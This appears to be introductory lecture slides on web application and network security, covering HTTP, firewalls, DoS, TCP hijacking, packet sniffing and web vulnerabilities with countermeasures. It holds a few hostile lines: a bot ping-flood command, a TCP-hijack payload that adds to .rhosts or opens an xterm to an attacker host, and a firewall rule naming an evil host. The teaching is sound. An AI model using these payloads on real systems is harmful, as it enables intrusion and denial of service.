Web Application and network security

Rishabh Mehan

Saying Hello !!To start off with the introduction lets go through

few basicsWhat is a Web Application ?Where is it Deployed ?How can it be reached ?

Web Application

ProtocolsHTTP – HTTPSFTP – SFTPTCPSSH

Request MethodsGET POST

Form data encoded in the URL Data is included in the body of the request

GET http://www.mysite.com/kgsearch/search.php?catid=1 HTTP/1.1Host: www.mysite.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: keep-aliveReferer: http://www.mysite.com/

POST http://www.mysite.com/kgsearch/search.php HTTP/1.1Host: www.mysite.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: keep-aliveReferer: http://www.mysite.com/

catid=1

How Request flows

Request

Response

Serverwww.mybank.com(64.58.76.230)Port: 80

Client PC(10.1.0.123)

Words of Wisdom“Every program has at least two purposes: the one

for which it was written, and another for which it wasn't.”

-Alan J. Perlis

infrastructure

Browser

Web ServersPresentation LayerMedia Store

Very complex architectures, multiple platforms, multiple protocols

Database ServerCustomer Identification Access ControlsTransaction InformationCore Business Data

Wireless

Application ServerBusiness LogicContent Services

NetworkHTTP

Web Application

Why vulnerabilities

“As an Application Developer, I can build great features and functions while meeting deadlines, but I don’t know how to develop my web application with security as a feature.”

The Web ApplicationSecurity Gap

“As a Network Security Professional, I don’t know how my companies web applications are supposed to work so I deploy a protective solution…but don’t know if it’s protecting what it’s supposed to.”

Application Developers and QA Professionals Don’t Know Security

Security Professionals Don’t Know The Applications

Common security attacks and their countermeasures

Finding a way into the network Firewalls

Exploiting software bugs, buffer overflows Intrusion Detection Systems

Denial of Service Ingress filtering, IDS

TCP hijacking IPSec

Packet sniffing Encryption (SSH, SSL, HTTPS)

Social problems Education

FirewallsBasic problem – many network applications and

protocols have security problems that are fixed over timeDifficult for users to keep up with changes and

keep host secureSolution

Administrators limit access to end hosts by using a firewall

Firewall is kept up-to-date by administrators

Firewalls

Intranet

DMZInternet

Firewall

Firewall

Web server, email server, web proxy, etc

FirewallsWhat does a firewall rule look like?

Depends on the firewall usedExample: ipfw

/sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet

Other examples: WinXP & Mac OS X have built in and third party firewallsDifferent graphical user interfacesVarying amounts of complexity and power

Denial of ServicePurpose: Make a network service unusable,

usually by overloading the server or networkMany different kinds of DoS attacks

SYN floodingSMURFDistributed attacks

Denial of ServiceSYN flooding attackSend SYN packets with bogus source address

Why?Server responds with SYN ACK and keeps state

about TCP half-open connectionEventually, server memory is exhausted with this state

Solution: use “SYN cookies” In response to a SYN, create a special “cookie” for the

connection, and forget everything elseThen, can recreate the forgotten information when the

ACK comes in from a legitimate connection

Denial of Service

Denial of ServiceSMURF

Source IP address of a broadcast ping is forgedLarge number of machines respond back to victim,

overloading it

Denial of Service

Denial of ServiceDistributed Denial of Service

Same techniques as regular DoS, but on a much larger scale

Example: Sub7Server Trojan and IRC bots Infect a large number of machines with a “zombie” programZombie program logs into an IRC channel and awaits

commandsExample:

Bot command: !p4 207.71.92.193 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 Sends 10,000 64k packets to the host (655MB!)

Read more at: http://grc.com/dos/grcdos.htm

TCP AttacksRecall how IP works…

End hosts create IP packets and routers process them purely based on destination address alone

Problem: End hosts may lie about other fields which do not affect deliverySource address – host may trick destination into

believing that the packet is from a trusted sourceEspecially applications which use IP addresses as a

simple authentication methodSolution – use better authentication methods

TCP AttacksTCP connections have associated state

Starting sequence numbers, port numbersProblem – what if an attacker learns these

values?Port numbers are sometimes well known to begin

with (ex. HTTP uses port 80)Sequence numbers are sometimes chosen in very

predictable ways

TCP AttacksIf an attacker learns the associated TCP state for

the connection, then the connection can be hijacked!

Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original sourceEx. Instead of downloading and running new

program, you download a virus and execute it

TCP AttacksSay hello to Alice, Bob and Mr. Big Ears

TCP AttacksAlice and Bob have an established TCP

connection

TCP AttacksMr. Big Ears lies on the path between Alice and

Bob on the networkHe can intercept all of their packets

TCP AttacksFirst, Mr. Big Ears must drop all of Alice’s packets

since they must not be delivered to Bob (why?)

Packets

The Void

TCP AttacksThen, Mr. Big Ears sends his malicious packet

with the next ISN (sniffed from the network)

ISN, SRC=Alice

TCP AttacksWhat if Mr. Big Ears is unable to sniff the packets

between Alice and Bob?Can just DoS Alice instead of dropping her packetsCan just send guesses of what the ISN is until it is

acceptedHow do you know when the ISN is accepted?

Mitnick: payload is “add self to .rhosts”Or, “xterm -display MrBigEars:0”

TCP AttacksWhy are these types of TCP attacks so

dangerous?

Web server

Malicious user

Trusting web client

TCP AttacksHow do we prevent this?IPSec

Provides source authentication, so Mr. Big Ears cannot pretend to be Alice

Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is

Packet SniffingRecall how Ethernet works …When someone wants to send a packet to some

else …They put the bits on the wire with the

destination MAC address …And remember that other hosts are listening on

the wire to detect for collisions …It couldn’t get any easier to figure out what data

is being transmitted over the network!

Packet Sniffing How can we protect ourselves? SSH, not Telnet

Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!)

Now that I have told you this, please do not exploit this information Packet sniffing is, by the way, prohibited by Computing Services

HTTP over SSL Especially when making purchases with credit cards!

SFTP, not FTP Unless you really don’t care about the password or data Can also use KerbFTP (download from MyAndrew)

IPSec Provides network-layer confidentiality

Application MappingCookie Manipulation Custom Application Scripting Parameter ManipulationReverse Directory TransversalBrute ForceApplication MappingCookie Poisoning/TheftBuffer OverflowSQL InjectionCross-site scripting

Web Application Vulnerabilities

Platform

Administration

Application

Known Vulnerabilities

Extension Checking Common File Checks Data Extension Checking Backup CheckingDirectory EnumerationPath TruncationHidden Web PathsForceful Browsing

Web application vulnerabilities occur in multiple areas.

What the #@$& is happening ???

XSSSQL Injection

AuthInput Valdation

File IncludeInfo Disclosure

0 5 10 15 20 25 30 35 40 45 50XSS

SQL Injec-tion

Auth

Input Valda-tion

File Include

Info Dis-closure; 3

%

%

Axis Title

Axis Title

PlatformKnown Vulnerabilities

Web Application Vulnerabilities

Platform:Known vulnerabilities can

be exploited immediately with a minimum amount of skill or experience – “script kiddies”

Most easily defendable of all web vulnerabilities

MUST have streamlined patching procedures

AdministrationExtension Checking Common File Checks Data Extension Checking Backup CheckingDirectory EnumerationPath TruncationHidden Web PathsForceful Browsing

Administration:• Less easily corrected than

known issues• Require increased awareness• More than just configuration,

must be aware of security flaws in actual content

• Remnant files can reveal applications and versions in use

• Backup files can reveal source code and database connection strings

Web Application Vulnerabilities

AdministrationAdministration

Application Programming:• Common coding techniques do not

necessarily include security• Input is assumed to be valid, but not

tested • Unexamined input from a browser can

inject scripts into page for replay against later visitors

• Unhandled error messages reveal application and database structures

• Unchecked database calls can be ‘piggybacked’ with a hacker’s own database call, giving direct access to business data through a web browser

ApplicationApplication MappingCookie Manipulation Custom Application Scripting Parameter ManipulationReverse Directory TransversalBrute ForceApplication MappingCookie Poisoning/TheftBuffer OverflowSQL InjectionCross-site scripting

Web Application Vulnerabilities

Exampleshttp://demo.testfire.net/http://chat.wallhood.com/moving/moving/images

/

How to Secure Web Applications

Incorporate security into the lifecycleApply information security principles

to all software development effortsEducate

Issue awareness, Training, etc…

Are We still Secure ?

LOLNO

Questions ?